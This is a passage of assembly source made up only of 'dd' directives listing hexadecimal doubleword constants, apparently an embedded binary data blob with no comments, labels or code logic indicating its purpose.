dd 0CB749C82h, 5D2CD501h, 1B69B803h, 0F9ED64DCh, 74E0C60h
dd 1E11FCC8h, 0C0EF14B9h, 793EFD58h, 30672A00h, 5DAE7462h
dd 38C80EEDh, 2A71856h, 32AD7184h, 0A420202Bh, 6C869A01h
dd 0BBF9C04h, 21C1ECh, 0FF40B879h, 1E16FD8Eh, 0F875A01h
dd 967429EDh, 7C2F6ECh, 0D8573B92h, 3762004Ah, 0EDE42D98h
dd 1D73BF01h, 14410C85h, 2A72A6E0h, 0C48CC9h, 0AB4E196h
dd 0D271D02Ch, 3DF69D00h, 0E04B066Eh, 49361D9Ah, 2E23C05Eh
dd 0E32BFF24h, 0C4ED2912h, 0E7DB3B07h, 80D3B512h, 175283FAh
dd 0F40EE08Ch, 2A7F0035h, 0AAC1A055h, 0EF0ADAD1h, 880C3E10h
dd 3F29AE00h, 0A2C88Dh, 59320E85h, 43AC3F0h, 0D3F639h
dd 0EAFA518Fh, 7E9BC66Ch, 2DA8A0B6h, 816E1316h, 71DC0184h
dd 20707788h, 18000A30h, 59A439CBh, 3102CFh, 0D8B79626h
dd 2714EFE7h, 28C9E400h, 0E3CC6285h, 80540324h, 27D7A22h
dd 82815EE7h, 64351B6Ch, 4B143744h, 3CC2729h, 0FCBC54FBh
dd 7B601D38h, 90EDC02Bh, 321571E6h, 0A5CC9F48h, 79CBF030h
dd 0C3FD1F44h, 8C6214AAh, 0D8937C00h, 3E92DBF8h, 890AB103h
dd 0BB5528F4h, 219AA8ADh, 0FF4600F1h, 0E269ABC4h, 0ED005007h
dd 0BDA967Ah, 4C1BADE4h, 98A0F01Ah, 0E00B62A3h, 6DC772h
dd 0F7A16C50h, 36EE25h, 0F02CCF4Bh, 0D71564B8h, 4F0377B0h
dd 8DA986DDh, 302EC056h, 0E3A30041h, 0D745B296h, 0B400ACBCh
dd 4D9BDEAFh, 7913C9h, 8CF45329h, 855D5A34h, 2EB0EF0Fh
dd 20D7890Bh, 0E3712F2Ch, 20AC0273h, 0D6E1540Ah, 2218848h
dd 87D0E00h, 0DE9D2FF4h, 37CA0972h, 3480EBD8h, 0F9B3266Eh
dd 0D70574BAh, 8E79FAC1h, 34AFC80h, 0B6BD00E5h, 0E3C44722h
dd 10B8ED7Dh, 7C38F20h, 0E0F4604Ah, 75F6D09Dh, 34849A3h
dd 544A7E48h, 0B30047F8h, 3CC6237Fh, 0A501C779h, 0B5BA8B59h
dd 11801187h, 86B6952Dh, 390464E3h, 70A7906Ah, 0B06B3490h
dd 1CB081h, 0ADFF7183h, 0A33942C5h, 807C14Bh, 5A07587h
dd 0B3ED407h, 6CC94A90h, 0E3F96480h, 1CEC513Bh, 0DBD2E700h
dd 78ED84AAh, 74DF0044h, 4D76CF8Ch, 10C05D08h, 2D6599F2h
dd 2420021h, 1363DECCh, 0C42EF9A0h, 0F1F0C89h, 0BA45BC40h
dd 18DD4ADCh, 5E9228EBh, 0A8D4736Eh, 0FF7DC098h, 17781F10h
dd 4E759E80h, 7C642110h, 1100A26Bh, 5D021EC0h, 7F5FD806h
dd 3F1AD098h, 0D8B05090h, 0AD0294A7h, 41F44349h, 48ABDC8Ch
dd 0DE31608Ch, 0F806F95Ah, 0BCEC33AAh, 8D930026h, 91695B6Fh
dd 1902E2FCh, 8B0EEA41h, 0BF95C33h, 0AB004E95h, 0C3103BB7h
dd 0FD6F81Ch, 99912300h, 7514E7h, 90B6A9Ah, 0D4CB11BEh
dd 17A084C2h, 143E60CFh, 0C9ED002Ch, 0D32B2570h, 45005665h
dd 5210FCB7h, 79302F2Dh, 7E4200ABh, 6C9389A8h, 5C0FB5D3h
dd 0E7355770h, 6FA3DDBAh, 0F444C843h, 0D60700D1h, 49C508B9h
dd 774EA13Eh, 10B6EC00h, 390B1106h, 0F680DEAEh, 2A20AF9Dh
dd 4D0084FDh, 142BE927h, 90D3EEh, 72FED123h, 135B89D6h
dd 3AA01F00h, 0C5A33436h, 517D3A32h, 69F6EF00h, 4ABDDF7h
dd 220C8C02h, 70BBD4A4h, 2DA200DCh, 0E5F324B6h, 0B8005A6Dh
dd 0EC748036h, 6AD2896h, 0D181E42Bh, 5BF030B0h, 900E578h
dd 10267C9Eh, 0D0E428h, 0AB06BA87h, 0FB4294D2h, 54B74700h
dd 0CFA2342Eh, 14078FFh, 0E2E5CD4Ah, 0E00BA106h, 0BF0C88F0h
dd 38A8F56Ch, 41FB0599h
dd 4ABD05D3h, 8054A288h, 0E2C13426h, 0D27BDB3Ah, 0AF710C12h
dd 464C810h, 5B24B2ECh, 34D1FA00h, 2CF61D12h, 0D43FCB03h
dd 88DA29EEh, 6FAE6Eh, 0C14FB621h, 46017122h, 19ECF301h
dd 1EDF3A60h, 20BFBE4h, 9B4AD5CEh, 4BE3349Dh, 2554F698h
dd 419A4900h, 0F4C2FDEEh, 0D4D900E7h, 8FB98ECEh, 1F01A607h
dd 60DC9115h, 0C6C44E31h, 0E26B0126h, 874F6586h, 0C0032E30h
dd 90282049h, 0A47DADh, 0EEAE26C1h, 9D371802h, 3312E00h
dd 1B8C93ABh, 6EEC00CDh, 0FF08EB77h, 0E700E0F6h, 0E5FC4E1Ch
dd 5F4471h, 384BF197h, 82635498h, 231ECB00h, 0A457C293h
dd 0C74A005Ch, 732405E4h, 0F300E929h, 98D02DCBh, 1C1E68Ah
dd 7FA396C4h, 0D05A6F6Eh, 0E101B151h, 0B648D5A9h, 0F84079F9h
dd 1DD9EE7h, 3019B706h, 0F054E213h, 0AC985CB1h, 34A28B0Ah
dd 3F0D10ECh, 0E810384Ch, 12EE7A35h, 544602A7h, 400A3F8h
dd 0E4485A88h, 603A9226h, 315130EAh, 0D6B90Fh, 1A5CECA1h
dd 7B401198h, 1CF88500h, 8A628E91h, 267757h, 0C0305F07h
dd 0E45001B7h, 7A39491Fh, 4E6A0038h, 0DED37627h, 4DB70F05h
dd 6165B050h, 3059C75Ah, 0A968DBC4h, 6C7A5307h, 0BF801495h
dd 7AA32C07h, 828F001Ch, 0B764D781h, 2239F80Eh, 69600026h
dd 0F7344C72h, 58B40715h, 403F95D7h, 7BD74F4h, 0F36E1907h
dd 5BB12C70h, 0C7DC3759h, 8CA00016h, 34E526D2h, 3A1F56D4h
dd 0AE4E0745h, 0B000769Fh, 33BF0237h, 9A3E0067h, 0D47EC64h
dd 0B6EAAFA9h, 0D0256E00h, 73343F8Ah, 2DC0087h, 0BE710ED7h
dd 7D7AC54Bh, 0A71676FAh, 64006937h, 0F5CCEFBCh, 77C61738h
dd 2AB500C9h, 0AC33279h, 721EA0C0h, 1D76C8h, 8FED58Ah
dd 87962277h, 0C0CFDA98h, 1E120CDh, 1B50B9h, 71BC02A9h
dd 3E8375AEh, 0ED1998A8h, 5150D13Dh, 9F87E080h, 9341DC00h
dd 9CA8777Ah, 2E0930CFh, 0F6626550h, 2CC58900h, 0AF5E262Ah
dd 0D670079h, 74E08AF5h, 0DA1818EAh, 5682E9Fh, 0BB83008Fh
dd 0D10E1DB5h, 3500E8FFh, 586D7895h, 0FFE6F52h, 45B737EDh
dd 0F88B9320h, 0CE1D5794h, 67C039D3h, 4DA979F6h, 0B17B006Ah
dd 0C509D159h, 0A014135h, 791EF088h, 0DBE443B9h, 879F0E37h
dd 2C60AAA2h, 5474FCC4h, 0F0A09B00h, 2B26F1C1h, 0A8993CC7h
dd 83E24103h, 3CD3A575h, 0FDE36EB0h, 42E5770Eh, 0A267A031h
dd 60DF36h, 0CC3AA36Dh, 3453CAD2h, 0B0200600h, 2343F14Eh
dd 49A917DCh, 0DDA50180h, 0D83E31C9h, 243FEF98h, 4196303Ah
dd 0E993C2h, 0AFE374E1h, 7BEFD392h, 314A3Eh, 9C6160A8h
dd 0E87E8A26h, 50110A56h, 8F8C2078h, 12201703h, 2F0AD09Fh
dd 0F1163500h, 0B5953979h, 369819h, 11A05B18h, 29F3AE92h
dd 3D00B079h, 0FE552B46h, 0BA2847h, 6D2173DBh, 0D3428109h
dd 7EE90C1Dh, 202D970Ch, 23200072h, 5D07F71Eh, 0A8004581h
dd 11B47341h, 3E0579Ch, 9F184D06h, 0A5D9E376h, 84304A47h
dd 82304756h, 39004E5Ch, 6C3185F2h, 1BF33Bh, 0AE531D44h
dd 40BBBA50h, 198D8606h, 117ADEh, 90AE4C8h, 9A27A19Dh
dd 0D3B1B551h, 52172196h, 3B00CF68h, 76787A80h, 0D2AE00A5h
dd 0D9B8F30Ch, 28C08FDDh, 25F98D28h, 9FEC0198h, 60687818h
dd 0E07980B0h, 0FD065AF1h, 0F84E074Bh, 434F1C1Ah, 10FF1E30h
dd 0CC59A18Ah, 0BA206F0Eh, 1A52809Bh, 502981D3h, 1454C010h
dd 94308F85h, 0C1922500h, 0E371E282h, 0E500D9F6h, 0C39C7005h
dd 7AFDBAh, 0E416574Bh, 7EF287DCh, 0CC50600Bh, 754787DBh
dd 0C06C6FE3h, 795B844h, 0AEDA3E84h, 6EA16079h, 0BB05BF46h
dd 7F46D70h, 8EDF9403h, 0D17CA12Dh, 2CC846ECh, 0F170B0h
dd 7E5F804Ch, 0FF00263Fh, 0EB71C258h, 102DB64h, 6B3D60FDh
dd 0D0D23984h, 0BD061746h, 197931FEh, 71946018h, 0CDF201CCh
dd 68F4D418h, 86123B91h, 9C4B5C01h, 0B4ED7FF7h, 0FA608008h
dd 488A9D20h, 0F3260269h, 654ED64h, 764ED8C0h, 0E88D270Fh
dd 5C5700D2h, 167FB2h, 467E8781h, 0A1B6445Fh, 5A038C01h
dd 7C245CCFh, 21410898h, 0A2391DE4h, 3F58036Bh, 795EE2h
dd 5178E650h, 8A07995Ch, 52745F00h, 0E9475B61h, 0A4F10F96h
dd 64A0677Dh, 0F9BA0DB6h, 5F8F0A00h, 31ADE622h, 814D00CAh
dd 63B91146h, 8207159Ah, 0C16F1F61h, 2B86F540h, 5B7E0065h
dd 2C38A34Bh, 8300929Ah, 64AEF46Bh, 9B8EC8h, 0CA26650Ah
dd 45802BE1h, 970718F6h, 37C4B5F6h, 0AC176DB0h, 7B1EEAEFh
dd 8F7DA0h, 3936F244h, 1F75E655h, 0D41D9177h, 0CB40D90Dh
dd 0B2D30943h, 0EBFB00AEh, 66704AABh, 4900A6DCh, 31EE45EAh
dd 849192h, 0B4A219A4h, 5930B62Fh, 133A97F8h, 0F8007766h
dd 63550817h, 5E5365Ch, 9DF77E1Bh, 4400C0FAh, 88F834ECh
dd 40EE8000h, 0FDE69E35h, 0EF393CAFh, 632F3B00h, 45B80DF9h
dd 149DAD01h, 3127A242h, 2C012080h, 0E8E31063h, 0F619641Dh
dd 0FFF93E82h, 0A1200033h, 9B39821Ch, 0D7C480A7h, 0FDF77901h
dd 0F9950065h, 0D2746BDBh, 30C03740h, 17283230h, 770C00F3h
dd 27AF7302h, 1138D3C2h, 0FA8380BAh, 399B448Ch, 65080E1Ah
dd 4B2136DCh, 808DBFE6h, 6C430A20h, 0C045A5A9h, 4F690F28h
dd 70F02705h, 6B6FFB18h, 0C0412908h, 4F6A3220h, 0A602A27Ah
dd 3B1738E2h, 0F1808008h, 7E167E5h, 211BEE18h, 0A3B9D058h
dd 4D181C2Bh, 0EF405A9Ch, 0F9C900A0h, 0A236AEEEh, 30E3CCA5h
dd 9560F69Dh, 0F2D19F20h, 723B03FEh, 0E884786Dh, 71CC18E8h
dd 211728A0h, 1000CBF9h, 0F3C1D0F2h, 162397h, 0CDD9DB80h
dd 89C56D93h, 0F9EB000h, 73E1A62Ah, 0BC2400DEh, 0C8B53E26h
dd 5F04C26Ch, 701DB2E0h, 0FD5FC1EFh, 0FAE5FC57h, 1800E172h
dd 0D96CB7F7h, 11288Bh, 63254642h, 97DBEB66h, 0CBC9AE07h
dd 5020E7FAh, 3577BF4h, 49AD695Bh, 3FE06E8Bh, 9200F2EFh
dd 605F671Fh, 0E95EAAC4h, 0B67F1080h, 0AD4AD2E5h, 0AF8F600h
dd 0E733595Ah, 0A4BC00AEh, 6A7730BEh, 0F400ACBDh, 3574186Bh
dd 0EE48849h, 0AE282C31h, 16176040h, 4C03EAE3h, 0F66F6FFh
dd 0C6B9A0E7h, 1D6F00D3h, 1F7BD204h, 0C8F96B2Bh, 7F00C3FBh
dd 0D59A08FCh, 74D1DB5Bh, 0FA3C01B5h, 855511E9h, 59D4D0EEh
dd 33A81E12h, 782414h, 0DA41C9C6h, 0EBB6F9h, 0C5099EAh
dd 0F491CD22h, 0A2305874h, 1BFB204Ah, 963512E9h, 7E7D00F7h
dd 100558C8h, 8D722800h, 762711DBh, 9BF7D43h, 840A0F90h
dd 0A38FEEC3h, 0F0C7DF26h, 0AA23947Dh, 0C2375074h, 0CC902068h
dd 0CAA309h, 73BE8AB8h, 0EE1384ADh, 110C717Fh, 0A9DB0357h
dd 601E7816h, 60B386Bh, 75267629h, 520E4CD6h, 6FA2C03Ch
dd 591950h, 0C80184BBh, 35426D28h, 0FB1F6790h, 0A8707412h
dd 0EF17DAh, 611EF6E5h, 86AD7205h, 63E7B91Eh, 73E8A702h
dd 7A98538h, 0BE0AA400h, 0F19B33h, 444103Bh, 0F83AAEB3h
dd 45699702h, 401CA6B8h, 0ED810Ch, 0E01ED243h, 873EF2DDh
dd 0B0BB6B0Fh, 0A3748713h, 142F802Fh, 17A12Ch, 0D784880h
dd 0FCABA5D4h, 72C1348h, 88E3D64Dh, 87B30360h, 0EC3B7792h
dd 776E0373h, 0F6D9AEBDh, 30BA80B9h, 0A004125h, 0B35E58E8h
dd 67B4B7Eh, 0AFBF23D8h, 527FE0EAh, 0A8114924h, 0C78F5400h
dd 0D6840Ch, 26BD9B68h, 2AB90151h, 46926600h, 13B5C5D0h
dd 0E6CF01D7h, 2809FD6Eh, 26212076h, 0DF570A07h, 0B8075DA9h
dd 47D3A500h, 0C275001Fh
dd 0B29CEEFDh, 0A0071F3h, 60981687h, 9F0667h, 0B6731E2Bh
dd 919D52DCh, 37CD93Ch, 98879B5Dh, 5A7FE8D2h, 0D160061h
dd 5515513Fh, 0E00C5EEh, 0F9B39002h, 78492ADh, 47D07A11h
dd 5DA7B097h, 617A0975h, 87933338h, 0CEFED802h, 8294B9D0h
dd 0CDE8FDECh, 0A5B50FC8h, 59C4B2DDh, 4FEF809Dh, 95509671h
dd 12006EF7h, 2E7F51C6h, 0E0FAEAh, 0DE5061E5h, 80D9021Ah
dd 147B203h, 83034C5Eh, 0EB7ED020h, 163B1D5Ch, 890039D1h
dd 0DD0919DEh, 1800DAB0h, 0FB87BB42h, 70985057h, 6B0200ABh
dd 0F26E52C1h, 800022AEh, 83853566h, 0C3A7EFh, 9C0B2733h
dd 0D6C2F414h, 0AAE4CE00h, 3D9EB820h, 0FA6C0374h, 0FDCC28B1h
dd 2047D3E3h, 759DE004h, 0DB50CBF5h, 48FD881h, 0CA1FC073h
dd 8878BF00h, 42079E65h, 2F33B4Ch, 51AA1870h, 1E642895h
dd 74D20A88h, 0B842111Dh, 0CD1F189Fh, 8821C851h, 648883F1h
dd 0F02E120h, 3C430C11h, 38B9242h, 29082110h, 108E3E2Fh
dd 352384D0h, 83C5C4Ah, 0B480D04Dh, 78BD8451h, 0AF6D202Eh
dd 36B0810h, 94624B08h, 2983980Ch, 748E4442h, 60C76A44h
dd 0EFDC7917h, 7800BEADh, 570200Eh, 0DE3FE042h, 79FA9BA1h
dd 65014DF2h, 0F4D4276Ch, 944B1E70h, 0A0CE40D9h, 59636855h
dd 0C637F81Dh, 1BF3E89h, 1BA23394h, 2147D0h, 592E2753h
dd 0FB77AA80h, 3001E070h, 4B5D3D8Bh, 72387A5Bh, 31FFC203h
dd 0D6F0F194h, 0AB00DCA3h, 0EE514C7Dh, 449F02h, 0B327BFA9h
dd 5EB18DD5h, 0F6075D00h, 72A011A4h, 52570638h, 1012F397h
dd 0C4D7F400h, 88690C84h, 0CB95126Ch, 541800D6h, 7C21961Ah
dd 0D4760700h, 79F9A551h, 0A0433B08h, 508E4F00h, 0AAD8E96Fh
dd 0D1038FFAh, 95D6CA05h, 9B040055h, 0EF8797CDh, 4AE682E8h
dd 72CC0D00h, 0E077A72Fh, 5C2600AEh, 153ED26Bh, 16731A75h
dd 0F712C3FAh, 5C07E8EBh, 50E01F4Bh, 98431Dh, 69223892h
dd 0A904315Fh, 23D09100h, 0B843927h, 0CBAA0FF5h, 0C1A0F8ADh
dd 0C252842h, 39FE7803h, 0F87ADB04h, 0DC678Fh, 0A61AF366h
dd 0E27C92C0h, 20E34E00h, 27A32B87h, 5D8E003Bh, 74CE64EFh
dd 12007603h, 98FF4680h, 1CF197F9h, 5E62D80Eh, 0C72C0023h
dd 5BCD1C1Dh, 0A1D9A300h, 2226584Fh, 49343F44h, 9315CA00h
dd 0F2162A0Ch, 0C7F9D900h, 0F559B0A0h, 4FAD033Bh, 0CF4A15E0h
dd 8481DCB2h, 0C8D0F433h, 2300ED46h, 79B65825h, 10CD7AFh
dd 7AB4EB2Bh, 0DBB1E62Fh, 0F8C529D8h, 2AFE2500h, 0D833AD7Ch
dd 0CA2F0055h, 0EEC1F0AAh, 457920D4h, 0B9085C01h, 336A388Fh
dd 3C8B9760h, 5281F782h, 95BD45CFh, 72F6D449h, 0A8005E90h
dd 0F533BCEDh, 1CBF950h, 7CC2E9AAh, 30D1C526h, 8A015CCEh
dd 5274A0A3h, 98EF57A4h, 9CDBF0Dh, 8D6893B3h, 0C34060Ah
dd 3D1182CFh, 0B06B071Ch, 19036E40h, 52E2FF7h, 16FCD20Fh
dd 0F8FC1450h, 80FC1429h, 32586AABh, 0F20EF4F6h, 20C32374h
dd 4019D26h, 0E18D03EFh, 0AB968F24h, 193C89C8h, 2D9ACD1Eh
dd 9ECF0D40h, 82682h, 0DDA4B549h, 0ED3F8F7Bh, 0C8BD5100h
dd 943A7371h, 62FD0374h, 310F0DB3h, 0A555A1A0h, 41E4F701h
dd 0CE0226D4h, 7684AC4h, 656DA7Dh, 0FF13A10Dh, 3CFED828h
dd 0F4528017h, 9F0B9100h, 7238705Ch, 22B00030h, 811D6156h
dd 0F907A8E5h, 3E05D5A7h, 6EB874B0h, 2F4100DAh, 2EE5FCE8h
dd 0A7004F7Eh, 0DE6CCFD0h, 9E78F6h, 6177BB22h, 0FCC3CB52h
dd 28F42C00h, 6946E7A9h, 0B0E630h, 0DF6CB140h, 0C3BB1280h
dd 0B81782F6h, 0C100259Ch, 3721CCC1h, 260E1E4Fh, 18ECC060h
dd 0F1B212F6h, 4003D30Fh, 0E0F8EE63h, 1317DE9Ch, 985F00AFh
dd 6EBCE646h, 4C00C5B7h, 1B25AD8h, 0BF3CF5h, 1CDF66F2h
dd 0ECD75532h, 0C000B371h, 0F7CBD30Ch, 0B93A8h, 9CE4C4A5h
dd 33199813h, 0A1698800h, 8AF763D7h, 92E7005Bh, 0B55223E0h
dd 400045E3h, 5184A3A6h, 0C9600Eh, 0DE61B746h, 3F482164h
dd 30EB73EEh, 0AB00829Dh, 0AC26BE91h, 8DA061h, 0E6132E07h
dd 0E0966379h, 8BD63104h, 0C3AF3BDDh, 6FD810B3h, 573FA997h
dd 0B937AC4Fh, 0DD6A3000h, 16720C9h, 16090C7Ah, 714FD5B8h
dd 38E4E0CEh, 0EC358400h, 475E3101h, 0EE6A1D73h, 261740BFh
dd 0CC10F3E7h, 14A3380Ah, 3F913Ah, 0B56578F8h, 8F8C20h
dd 0A37A4CF1h, 0E5413A15h, 0A478B498h, 0B71FF600h, 0C7CB8875h
dd 0EA2003B2h, 0BBFB9EEEh, 0AA9F04B8h, 6EDEAE50h, 0EDF13D0Fh
dd 8B407EE9h, 1C1C590h, 35AD014Ah, 0B44670A2h, 0C830FD2Fh
dd 4E4C8082h, 5A5C0EA0h, 0E5B821EBh, 0BEF0E1F4h, 38A1B807h
dd 62803E53h, 0BA59A2F6h, 48033999h, 0E89A43BCh, 1999F36h
dd 0D6EA604Ah, 0CF055FDh, 29E90DF6h, 408884h, 657120FCh
dd 580008F0h, 337570FBh, 0F29214DFh, 0C0850087h, 32186143h
dd 501231C7h, 0F012534h, 9390E958h, 93612CC9h, 262E7864h
dd 242187h, 0F84581AFh, 37006A77h, 0FDD7AE99h, 48F1E9h
dd 3E1EB414h, 93270A17h, 0A51A8905h, 8180652Dh, 0C2873Dh
dd 0D94F2ADCh, 0EFDA4DA9h, 0EC4A2F00h, 0FFDB608Ch, 7DB61FA3h
dd 0C1BF1E63h, 0B73C5D53h, 0C024DDAEh, 0C8607EA5h, 43B2B389h
dd 653C00E3h, 34FCB09h, 7702C508h, 8E643210h, 0DC924021h
dd 967000C1h, 3072359Dh, 0FD3BEFBDh, 0DCFFBECAh, 84C700BFh
dd 76622C3Dh, 0E5AF0077h, 1A7C61E6h, 0EBE0DA29h, 5AF23203h
dd 88846ED6h, 678203h, 421CD4D9h, 0C7E6526h, 0E31DEA90h
dd 0D5C0EFCBh, 17966795h, 29E3B4Eh, 76B69D80h, 690A5DE6h
dd 0A900A573h, 0B7F6E125h, 0C63236h, 3ADCD08h, 0BB51A7A1h
dd 48FFF324h, 3B173C07h, 0AB3E80B0h, 0C4A04C89h, 0CA0DBC00h
dd 0FD8A5B81h, 5E6C8400h, 0B5A62715h, 8943C41h, 0A0E67400h
dd 1F89F1D2h, 0E8217900h, 0CD8735B1h, 0EC300005h, 618CFB0Ah
dd 1D1DD0CCh, 8B40A472h, 53D7FD7Bh, 0D52200AEh, 0CDFE61E4h
dd 8F001817h, 0E56BB173h, 0F40B023Ah, 6269007Bh, 0D61C87A1h
dd 3B00AD68h, 0F583C84Ah, 0E5CE6h, 4FCDB959h, 58A9FA3h
dd 3953350Bh, 6AC808Fh, 0CE68F2h, 0FCC17A29h, 84D1B2D2h
dd 85641B07h, 80701157h, 0FE773B5Dh, 0D76B07CBh, 67F8C1CEh
dd 0AE14A36Ch, 0B9161DE0h, 5D365A07h, 23C064E2h, 5609A7h
dd 7DE3A1FBh, 79418B26h, 0E00021E0h, 0EF9FC7D4h, 0B84852Bh
dd 0FDE6ECA5h, 0AFDC87h, 8FBBA39Dh, 0CC7B3100h, 0B13C18D5h
dd 70375CEFh, 8B09AB00h, 85F63CEh, 0AD222E00h, 787206FEh
dd 11F5000Fh, 0C356E8CDh, 51241BCFh, 0A838A09Dh, 3209E887h
dd 1755ECh, 0FE652B54h, 0EA3803A0h, 0D1CD1AB6h, 0C80951F8h
dd 808E783Bh, 0FE9207B3h, 2865AEh, 0C527029Ah, 0F10EFA8Dh
dd 1112551Fh, 391F9600h, 1D905E4Eh, 33F20AAh, 7E5522F4h
dd 0DA3C9DE0h, 0B8D8870Eh, 0AD6420C6h, 7A72C94Ah, 43B924D1h
dd 0E5F40013h, 0C689AA75h, 97B2791Fh, 0E755CEC0h, 0AD290A8h
dd 60981C53h, 84833FEDh, 5C543E49h, 43B094F3h, 0CA0033DEh
dd 0F279ACA8h, 0C52C57Ch, 0B5783B0Dh, 70596E0h, 0CC2631CAh
dd 0D47BB400h, 0AC434Ch, 0D2B911F3h, 3FCEAFFBh, 2FA0F45Bh
dd 0EC460E38h, 7C01DD1Fh, 0C409F34Dh, 5603E10Ch, 0B344185h
dd 0D4ADA820h, 0E4AA12D8h, 8C642CBEh, 9B007C90h, 0FD895A0h
dd 2FBBF17h, 0BEBBF341h, 8440DB16h, 23F4F40Dh, 0CDE7F905h
dd 0FE00C29Dh, 57B9EDA1h
dd 1E27003Fh, 74095D83h, 0A07BDE7h, 9B05E31Ah, 0AB22F0F0h
dd 4308094Eh, 5000612Ch, 402F6A91h, 0D7F8A1Dh, 897388C0h
dd 0F9481EAh, 66FFD3DEh, 0AB9D9980h, 8D002371h, 830E4279h
dd 7D38BBAh, 4B1F0A69h, 313C87F6h, 0FC76F9h, 842B595Fh
dd 54A7E20Bh, 0AF6C81E5h, 80511C64h, 0F5ECB65Bh, 0A029EC3Ah
dd 1B8A1C5h, 0E7F26EBAh, 0F09043CCh, 0EF3A2D9Dh, 5C58EAh
dd 4A40925Ah, 687122h, 42C0F361h, 39AB493Ch, 0B6F69100h
dd 0EF6B09BAh, 280C0B8Bh, 5300D421h, 0D3A77759h, 6F53CE00h
dd 0A93E448Ch, 7D85004Fh, 0DC1592DEh, 0C018233h, 0E650429Eh
dd 402873BFh, 0E03826h, 26B10AF3h, 28008D35h, 0FAA5CD8Bh
dd 1760FAAh, 0BF413027h, 80046C69h, 951CF468h, 0F645B2EEh
dd 15E10FF7h, 0EB00BA89h, 218307EFh, 62F54D01h, 35A56824h
dd 3D61B03Bh, 173BCC00h, 42EFD116h, 73D5027Dh, 3A2483BEh
dd 6C54D0C0h, 0B05F4Ch, 0ECBDC88h, 2C3C49Ah, 29E1283Fh
dd 0B080C9AAh, 7C5534A7h, 0BBF84800h, 0CA5ABFEBh, 0C6661F9Bh
dd 8BB200EEh, 2920C07Dh, 0E47F7700h, 7AB569AAh, 9E748Ch
dd 0A3DA7E98h, 0B260F151h, 58E71230h, 0E80AF24Ah, 9E551318h
dd 0F8380335h, 0DA85C36h, 6D24F0DCh, 0BD806473h, 0BE7DBAA5h
dd 0D7700038h, 7496CD1Eh, 88002864h, 0DC2B2C5Eh, 97DBA3h
dd 0B65D9208h, 1D9A0B23h, 0D1DE3603h, 9BBB8219h, 0EFA1F0CFh
dd 8CE6B7h, 6D71CED2h, 9F27A4F5h, 36B0B200h, 0F33F7C09h
dd 0DBE67Fh, 15BA19AEh, 8E0FFE5Fh, 0A4B66F00h, 2F98E072h
dd 653F0001h, 2D7A337Ch, 0AC1257CBh, 6002D856h, 198B46BFh
dd 4D003F02h, 4B300AD6h, 2F04008Eh, 4255072Eh, 0C500CC76h
dd 0DA682DCAh, 162C134h, 0A5350381h, 33BB0DD3h, 579B40D4h
dd 1127CF00h, 1F2A552Fh, 4D630F1Ah, 960D996h, 0A9FE4094h
dd 217CCB1Ch, 9F3D2070h, 0D57561h, 3FF888B3h, 26C48B98h
dd 476AD4F1h, 0E413E890h, 0E020BE3Ah, 3FA4518Ch, 386D2F9h
dd 104ECD96h, 0EF84A00h, 72E07E3Eh, 0DDC53F8Eh, 0C200A4CCh
dd 480FF4DAh, 2113F88Dh, 4D17742Ch, 98BC0423h, 1605D40h
dd 510967F3h, 0C49244E6h, 8803EC12h, 0ED0DA7BAh, 11E3906Dh
dd 0A499003Ah, 37A9CABh, 87E298FCh, 0E5973309h, 8F9A8067h
dd 8655E4h, 3CBB18D2h, 0AACFC00Ah, 0A1138200h, 5A76DACEh
dd 9110002h, 0D484064h, 0F52C0168h, 0E800E5F6h, 72317D92h
dd 0C80F0039h, 4FD50B0h, 23092041h, 83B4177Eh, 0E07F0708h
dd 0F2D4AAh, 66DECA6Eh, 30C85167h, 0FC363200h, 8920C254h
dd 0AA80009Eh, 0FA16F2ACh, 0A914B2C3h, 0FB061Fh, 8DC6F87h
dd 3F322C0Ah, 1F4132Ah, 0D5F87B92h, 39576CBEh, 80028B6Ch
dd 17C063E3h, 495E74BBh, 0B942C81h, 0FCF2A50h, 0A55348F1h
dd 3DE8740h, 0E1EAB4Ah, 82E74584h, 6871FFACh, 905C635Ch
dd 2C790Ch, 7F0A5A62h, 21A540DAh, 0FF32ED00h, 6CCEE8B5h
dd 2A9809B8h, 1003D43Dh, 4EB26EFAh, 0DC6754C1h, 0E825A9F9h
dd 0B85000AAh, 13EA8D7h, 9484A41h, 3053232Bh, 0C100CC90h
dd 0B128B477h, 2687B76h, 9ED1F30h, 88E098C5h, 7CE23AA4h
dd 0B013B100h, 9F29EC35h, 6E5B003Dh, 0B49C818Fh, 11051CAAh
dd 75DB1F76h, 95D105C0h, 8CB039h, 502D4538h, 0D55802EFh
dd 9FFEA00h, 64ED1D15h, 5399078Ah, 5527E4E7h, 0A1C8208Ch
dd 0A00E661h, 8BB4A445h, 0C7A62Fh, 0F76D252Ch, 0B9C50ED7h
dd 2D267200h, 1B625340h, 0ECAF1F96h, 83690063h, 73EEE6DCh
dd 2A79CB1Dh, 0FC1F70A6h, 0ADFE5103h, 9920F85Dh, 0F33200F7h
dd 0DF3C07AFh, 277462C0h, 4323F092h, 83F800B5h, 13C9233Fh
dd 6D37E700h, 80CE08E2h, 0F27C5Fh, 0DDDCC5A9h, 4D5D0906h
dd 0D55BCC00h, 7B9459C2h, 2910C04Ah, 524EC866h, 92B91E3Fh
dd 70C02309h, 7AE1380h, 0CE9877D2h, 593B628Bh, 0B41A0C48h
dd 0AC00787Bh, 0CAFC320Bh, 0CD28014h, 91C5B75Ah, 36F6C010h
dd 3DCBC200h, 0DDBB6C89h, 0C67200B8h, 8F276031h, 173FE055h
dd 0C30267Fh, 98DB00B9h, 4845F056h, 0E4A8149Ch, 5500A85Fh
dd 6687624Bh, 1A7E219Fh, 0D0F9D307h, 0FFE06939h, 0B28F64h
dd 7C19ACECh, 386CE67Ah, 0D8AE061Dh, 0E800CE17h, 392BF230h
dd 8FD000A4h, 2AF2334h, 79038EBFh, 6B777E87h, 0F8FC90C0h
dd 0F5620049h, 9F4A8D47h, 0CA3C84EAh, 0B61D127Ch, 0F96CAC00h
dd 6A0B0Eh, 786B8E75h, 60304A73h, 987FC700h, 2AB8D813h
dd 1070105Ah, 8CF800D9h, 0F094C742h, 349F00BFh, 2FDF9C51h
dd 0A203521Ch, 0BE01553Ah, 885DC0C8h, 48A400C0h, 74265459h
dd 580097AAh, 5EF263ABh, 0E2083CEh, 231E8088h, 530110A9h
dd 30998F70h, 16003E44h, 6A4A2FB1h, 2DA0DF7Fh, 5800E4E8h
dd 0BDCC04AAh, 0FA64E100h, 20AECE11h, 8D7D0279h, 0A80396D9h
dd 24B1A0C0h, 0EF819A01h, 0CDC9B6E4h, 3E0F830h, 56D55CC6h
dd 0E3ABDDD9h, 0A4173ED0h, 3767003h, 0C006448Fh, 549EBBCh
